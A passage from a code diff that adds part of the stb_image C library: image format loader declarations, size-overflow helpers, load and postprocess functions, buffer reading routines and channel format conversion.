+} stbi__result_info;
+
+#ifndef STBI_NO_JPEG
+static int      stbi__jpeg_test(stbi__context *s);
+static void    *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNG
+static int      stbi__png_test(stbi__context *s);
+static void    *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__png_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__png_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_BMP
+static int      stbi__bmp_test(stbi__context *s);
+static void    *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_TGA
+static int      stbi__tga_test(stbi__context *s);
+static void    *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__tga_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PSD
+static int      stbi__psd_test(stbi__context *s);
+static void    *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc);
+static int      stbi__psd_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__psd_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_HDR
+static int      stbi__hdr_test(stbi__context *s);
+static float   *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PIC
+static int      stbi__pic_test(stbi__context *s);
+static void    *stbi__pic_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pic_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_GIF
+static int      stbi__gif_test(stbi__context *s);
+static void    *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static void    *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+static int      stbi__gif_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNM
+static int      stbi__pnm_test(stbi__context *s);
+static void    *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+// this is not threadsafe
+static const char *stbi__g_failure_reason;
+
+STBIDEF const char *stbi_failure_reason(void)
+{
+   return stbi__g_failure_reason;
+}
+
+static int stbi__err(const char *str)
+{
+   stbi__g_failure_reason = str;
+   return 0;
+}
+
+static void *stbi__malloc(size_t size)
+{
+    return STBI_MALLOC(size);
+}
+
+// stb_image uses ints pervasively, including for offset calculations.
+// therefore the largest decoded image size we can support with the
+// current code, even on 64-bit targets, is INT_MAX. this is not a
+// significant limitation for the intended use case.
+//
+// we do, however, need to make sure our size calculations don't
+// overflow. hence a few helper functions for size calculations that
+// multiply integers together, making sure that they're non-negative
+// and no overflow occurs.
+
+// return 1 if the sum is valid, 0 on overflow.
+// negative terms are considered invalid.
+static int stbi__addsizes_valid(int a, int b)
+{
+   if (b < 0) return 0;
+   // now 0 <= b <= INT_MAX, hence also
+   // 0 <= INT_MAX - b <= INTMAX.
+   // And "a + b <= INT_MAX" (which might overflow) is the
+   // same as a <= INT_MAX - b (no overflow)
+   return a <= INT_MAX - b;
+}
+
+// returns 1 if the product is valid, 0 on overflow.
+// negative factors are considered invalid.
+static int stbi__mul2sizes_valid(int a, int b)
+{
+   if (a < 0 || b < 0) return 0;
+   if (b == 0) return 1; // mul-by-0 is always safe
+   // portable way to check for no overflows in a*b
+   return a <= INT_MAX/b;
+}
+
+// returns 1 if "a*b + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad2sizes_valid(int a, int b, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__addsizes_valid(a*b, add);
+}
+
+// returns 1 if "a*b*c + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad3sizes_valid(int a, int b, int c, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__addsizes_valid(a*b*c, add);
+}
+
+// returns 1 if "a*b*c*d + add" has no negative terms/factors and doesn't overflow
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+static int stbi__mad4sizes_valid(int a, int b, int c, int d, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__mul2sizes_valid(a*b*c, d) && stbi__addsizes_valid(a*b*c*d, add);
+}
+#endif
+
+// mallocs with size overflow checking
+static void *stbi__malloc_mad2(int a, int b, int add)
+{
+   if (!stbi__mad2sizes_valid(a, b, add)) return NULL;
+   return stbi__malloc(a*b + add);
+}
+
+static void *stbi__malloc_mad3(int a, int b, int c, int add)
+{
+   if (!stbi__mad3sizes_valid(a, b, c, add)) return NULL;
+   return stbi__malloc(a*b*c + add);
+}
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+static void *stbi__malloc_mad4(int a, int b, int c, int d, int add)
+{
+   if (!stbi__mad4sizes_valid(a, b, c, d, add)) return NULL;
+   return stbi__malloc(a*b*c*d + add);
+}
+#endif
+
+// stbi__err - error
+// stbi__errpf - error returning pointer to float
+// stbi__errpuc - error returning pointer to unsigned char
+
+#ifdef STBI_NO_FAILURE_STRINGS
+   #define stbi__err(x,y)  0
+#elif defined(STBI_FAILURE_USERMSG)
+   #define stbi__err(x,y)  stbi__err(y)
+#else
+   #define stbi__err(x,y)  stbi__err(x)
+#endif
+
+#define stbi__errpf(x,y)   ((float *)(size_t) (stbi__err(x,y)?NULL:NULL))
+#define stbi__errpuc(x,y)  ((unsigned char *)(size_t) (stbi__err(x,y)?NULL:NULL))
+
+STBIDEF void stbi_image_free(void *retval_from_stbi_load)
+{
+   STBI_FREE(retval_from_stbi_load);
+}
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp);
+#endif
+
+#ifndef STBI_NO_HDR
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp);
+#endif
+
+static int stbi__vertically_flip_on_load = 0;
+
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip)
+{
+    stbi__vertically_flip_on_load = flag_true_if_should_flip;
+}
+
+static void *stbi__load_main(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   memset(ri, 0, sizeof(*ri)); // make sure it's initialized if we add new fields
+   ri->bits_per_channel = 8; // default is 8 so most paths don't have to be changed
+   ri->channel_order = STBI_ORDER_RGB; // all current input & output are this, but this is here so we can add BGR order
+   ri->num_channels = 0;
+
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_test(s)) return stbi__jpeg_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PNG
+   if (stbi__png_test(s))  return stbi__png_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_test(s))  return stbi__bmp_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_test(s))  return stbi__gif_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_test(s))  return stbi__psd_load(s,x,y,comp,req_comp, ri, bpc);
+   #endif
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_test(s))  return stbi__pic_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_test(s))  return stbi__pnm_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      float *hdr = stbi__hdr_load(s, x,y,comp,req_comp, ri);
+      return stbi__hdr_to_ldr(hdr, *x, *y, req_comp ? req_comp : *comp);
+   }
+   #endif
+
+   #ifndef STBI_NO_TGA
+   // test tga last because it's a crappy test!
+   if (stbi__tga_test(s))
+      return stbi__tga_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   return stbi__errpuc("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static stbi_uc *stbi__convert_16_to_8(stbi__uint16 *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi_uc *reduced;
+
+   reduced = (stbi_uc *) stbi__malloc(img_len);
+   if (reduced == NULL) return stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      reduced[i] = (stbi_uc)((orig[i] >> 8) & 0xFF); // top half of each byte is sufficient approx of 16->8 bit scaling
+
+   STBI_FREE(orig);
+   return reduced;
+}
+
+static stbi__uint16 *stbi__convert_8_to_16(stbi_uc *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi__uint16 *enlarged;
+
+   enlarged = (stbi__uint16 *) stbi__malloc(img_len*2);
+   if (enlarged == NULL) return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      enlarged[i] = (stbi__uint16)((orig[i] << 8) + orig[i]); // replicate to high and low byte, maps 0->0, 255->0xffff
+
+   STBI_FREE(orig);
+   return enlarged;
+}
+
+static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel)
+{
+   int row;
+   size_t bytes_per_row = (size_t)w * bytes_per_pixel;
+   stbi_uc temp[2048];
+   stbi_uc *bytes = (stbi_uc *)image;
+
+   for (row = 0; row < (h>>1); row++) {
+      stbi_uc *row0 = bytes + row*bytes_per_row;
+      stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
+      // swap row0 with row1
+      size_t bytes_left = bytes_per_row;
+      while (bytes_left) {
+         size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
+         memcpy(temp, row0, bytes_copy);
+         memcpy(row0, row1, bytes_copy);
+         memcpy(row1, temp, bytes_copy);
+         row0 += bytes_copy;
+         row1 += bytes_copy;
+         bytes_left -= bytes_copy;
+      }
+   }
+}
+
+static void stbi__vertical_flip_slices(void *image, int w, int h, int z, int bytes_per_pixel)
+{
+   int slice;
+   int slice_size = w * h * bytes_per_pixel;
+
+   stbi_uc *bytes = (stbi_uc *)image;
+   for (slice = 0; slice < z; ++slice) {
+      stbi__vertical_flip(bytes, w, h, bytes_per_pixel); 
+      bytes += slice_size; 
+   }
+}
+
+static unsigned char *stbi__load_and_postprocess_8bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 8);
+
+   if (result == NULL)
+      return NULL;
+
+   if (ri.bits_per_channel != 8) {
+      STBI_ASSERT(ri.bits_per_channel == 16);
+      result = stbi__convert_16_to_8((stbi__uint16 *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
+      ri.bits_per_channel = 8;
+   }
+
+   // @TODO: move stbi__convert_format to here
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi_uc));
+   }
+
+   return (unsigned char *) result;
+}
+
+static stbi__uint16 *stbi__load_and_postprocess_16bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 16);
+
+   if (result == NULL)
+      return NULL;
+
+   if (ri.bits_per_channel != 16) {
+      STBI_ASSERT(ri.bits_per_channel == 8);
+      result = stbi__convert_8_to_16((stbi_uc *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
+      ri.bits_per_channel = 16;
+   }
+
+   // @TODO: move stbi__convert_format16 to here
+   // @TODO: special case RGB-to-Y (and RGBA-to-YA) for 8-bit-to-16-bit case to keep more precision
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi__uint16));
+   }
+
+   return (stbi__uint16 *) result;
+}
+
+#if !defined(STBI_NO_HDR) || !defined(STBI_NO_LINEAR)
+static void stbi__float_postprocess(float *result, int *x, int *y, int *comp, int req_comp)
+{
+   if (stbi__vertically_flip_on_load && result != NULL) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(float));
+   }
+}
+#endif
+
+#ifndef STBI_NO_STDIO
+
+static FILE *stbi__fopen(char const *filename, char const *mode)
+{
+   FILE *f;
+#if defined(_MSC_VER) && _MSC_VER >= 1400
+   if (0 != fopen_s(&f, filename, mode))
+      f=0;
+#else
+   f = fopen(filename, mode);
+#endif
+   return f;
+}
+
+
+STBIDEF stbi_uc *stbi_load(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   unsigned char *result;
+   if (!f) return stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF stbi_uc *stbi_load_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi__uint16 *stbi_load_from_file_16(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__uint16 *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_16bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi_us *stbi_load_16(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   stbi__uint16 *result;
+   if (!f) return (stbi_us *) stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file_16(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+
+#endif //!STBI_NO_STDIO
+
+STBIDEF stbi_us *stbi_load_16_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *)clbk, user);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_uc *stbi_load_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s; 
+   stbi__start_mem(&s,buffer,len); 
+   
+   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp);
+   if (stbi__vertically_flip_on_load) {
+      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); 
+   }
+
+   return result; 
+}
+#endif
+
+#ifndef STBI_NO_LINEAR
+static float *stbi__loadf_main(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *data;
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      stbi__result_info ri;
+      float *hdr_data = stbi__hdr_load(s,x,y,comp,req_comp, &ri);
+      if (hdr_data)
+         stbi__float_postprocess(hdr_data,x,y,comp,req_comp);
+      return hdr_data;
+   }
+   #endif
+   data = stbi__load_and_postprocess_8bit(s, x, y, comp, req_comp);
+   if (data)
+      return stbi__ldr_to_hdr(data, *x, *y, req_comp ? req_comp : *comp);
+   return stbi__errpf("unknown image type", "Image not of any known type, or corrupt");
+}
+
+STBIDEF float *stbi_loadf_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+STBIDEF float *stbi_loadf_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF float *stbi_loadf(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   float *result;
+   FILE *f = stbi__fopen(filename, "rb");
+   if (!f) return stbi__errpf("can't fopen", "Unable to open file");
+   result = stbi_loadf_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF float *stbi_loadf_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_file(&s,f);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+#endif // !STBI_NO_STDIO
+
+#endif // !STBI_NO_LINEAR
+
+// these is-hdr-or-not is defined independent of whether STBI_NO_LINEAR is
+// defined, for API simplicity; if STBI_NO_LINEAR is defined, it always
+// reports false!
+
+STBIDEF int stbi_is_hdr_from_memory(stbi_uc const *buffer, int len)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(buffer);
+   STBI_NOTUSED(len);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   int result=0;
+   if (f) {
+      result = stbi_is_hdr_from_file(f);
+      fclose(f);
+   }
+   return result;
+}
+
+STBIDEF int stbi_is_hdr_from_file(FILE *f)
+{
+   #ifndef STBI_NO_HDR
+   long pos = ftell(f);
+   int res;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   res = stbi__hdr_test(&s);
+   fseek(f, pos, SEEK_SET);
+   return res;
+   #else
+   STBI_NOTUSED(f);
+   return 0;
+   #endif
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int      stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(clbk);
+   STBI_NOTUSED(user);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_LINEAR
+static float stbi__l2h_gamma=2.2f, stbi__l2h_scale=1.0f;
+
+STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma) { stbi__l2h_gamma = gamma; }
+STBIDEF void   stbi_ldr_to_hdr_scale(float scale) { stbi__l2h_scale = scale; }
+#endif
+
+static float stbi__h2l_gamma_i=1.0f/2.2f, stbi__h2l_scale_i=1.0f;
+
+STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma) { stbi__h2l_gamma_i = 1/gamma; }
+STBIDEF void   stbi_hdr_to_ldr_scale(float scale) { stbi__h2l_scale_i = 1/scale; }
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Common code used by all image loaders
+//
+
+enum
+{
+   STBI__SCAN_load=0,
+   STBI__SCAN_type,
+   STBI__SCAN_header
+};
+
+static void stbi__refill_buffer(stbi__context *s)
+{
+   int n = (s->io.read)(s->io_user_data,(char*)s->buffer_start,s->buflen);
+   if (n == 0) {
+      // at end of file, treat same as if from memory, but need to handle case
+      // where s->img_buffer isn't pointing to safe memory, e.g. 0-byte file
+      s->read_from_callbacks = 0;
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start+1;
+      *s->img_buffer = 0;
+   } else {
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start + n;
+   }
+}
+
+stbi_inline static stbi_uc stbi__get8(stbi__context *s)
+{
+   if (s->img_buffer < s->img_buffer_end)
+      return *s->img_buffer++;
+   if (s->read_from_callbacks) {
+      stbi__refill_buffer(s);
+      return *s->img_buffer++;
+   }
+   return 0;
+}
+
+stbi_inline static int stbi__at_eof(stbi__context *s)
+{
+   if (s->io.read) {
+      if (!(s->io.eof)(s->io_user_data)) return 0;
+      // if feof() is true, check if buffer = end
+      // special case: we've only got the special 0 character at the end
+      if (s->read_from_callbacks == 0) return 1;
+   }
+
+   return s->img_buffer >= s->img_buffer_end;
+}
+
+static void stbi__skip(stbi__context *s, int n)
+{
+   if (n < 0) {
+      s->img_buffer = s->img_buffer_end;
+      return;
+   }
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         s->img_buffer = s->img_buffer_end;
+         (s->io.skip)(s->io_user_data, n - blen);
+         return;
+      }
+   }
+   s->img_buffer += n;
+}
+
+static int stbi__getn(stbi__context *s, stbi_uc *buffer, int n)
+{
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         int res, count;
+
+         memcpy(buffer, s->img_buffer, blen);
+
+         count = (s->io.read)(s->io_user_data, (char*) buffer + blen, n - blen);
+         res = (count == (n-blen));
+         s->img_buffer = s->img_buffer_end;
+         return res;
+      }
+   }
+
+   if (s->img_buffer+n <= s->img_buffer_end) {
+      memcpy(buffer, s->img_buffer, n);
+      s->img_buffer += n;
+      return 1;
+   } else
+      return 0;
+}
+
+static int stbi__get16be(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return (z << 8) + stbi__get8(s);
+}
+
+static stbi__uint32 stbi__get32be(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16be(s);
+   return (z << 16) + stbi__get16be(s);
+}
+
+#if defined(STBI_NO_BMP) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF)
+// nothing
+#else
+static int stbi__get16le(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return z + (stbi__get8(s) << 8);
+}
+#endif
+
+#ifndef STBI_NO_BMP
+static stbi__uint32 stbi__get32le(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16le(s);
+   return z + (stbi__get16le(s) << 16);
+}
+#endif
+
+#define STBI__BYTECAST(x)  ((stbi_uc) ((x) & 255))  // truncate int to byte without warnings
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+//  generic converter from built-in img_n to req_comp
+//    individual types do this automatically as much as possible (e.g. jpeg
+//    does all cases internally since it needs to colorspace convert anyway,
+//    and it never has alpha, so very few cases ). png can automatically
+//    interleave an alpha=255 channel, but falls back to this for other cases
+//
+//  assume data buffer is malloced, so malloc a new one and free that one
+//  only failure mode is malloc failing
+
+static stbi_uc stbi__compute_y(int r, int g, int b)
+{
+   return (stbi_uc) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+
+static unsigned char *stbi__convert_format(unsigned char *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   unsigned char *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (unsigned char *) stbi__malloc_mad3(req_comp, x, y, 0);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      unsigned char *src  = data + j * x * img_n   ;
+      unsigned char *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0], dest[1]=255;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=255;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                  } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=src[1];                  } break;
+         STBI__CASE(3,4) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2],dest[3]=255;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]), dest[1] = 255;    } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]), dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2];                    } break;
+         default: STBI_ASSERT(0);
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+
+static stbi__uint16 stbi__compute_y_16(int r, int g, int b)
+{
+   return (stbi__uint16) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+
+static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   stbi__uint16 *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      stbi__uint16 *src  = data + j * x * img_n   ;
+      stbi__uint16 *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0], dest[1]=0xffff;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=0xffff;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                     } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=src[1];                     } break;
+         STBI__CASE(3,4) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2],dest[3]=0xffff;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]), dest[1] = 0xffff; } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]), dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2];                       } break;
+         default: STBI_ASSERT(0);
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp)
+{
+   int i,k,n;
+   float *output;
+   if (!data) return NULL;
+   output = (float *) stbi__malloc_mad4(x, y, comp, sizeof(float), 0);
+   if (output == NULL) { STBI_FREE(data); return stbi__errpf("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         output[i*comp + k] = (float) (pow(data[i*comp+k]/255.0f, stbi__l2h_gamma) * stbi__l2h_scale);
+      }
+      if (k < comp) output[i*comp + k] = data[i*comp+k]/255.0f;
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+#ifndef STBI_NO_HDR
+#define stbi__float2int(x)   ((int) (x))
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp)
+{
+   int i,k,n;
+   stbi_uc *output;
+   if (!data) return NULL;
+   output = (stbi_uc *) stbi__malloc_mad3(x, y, comp, 0);
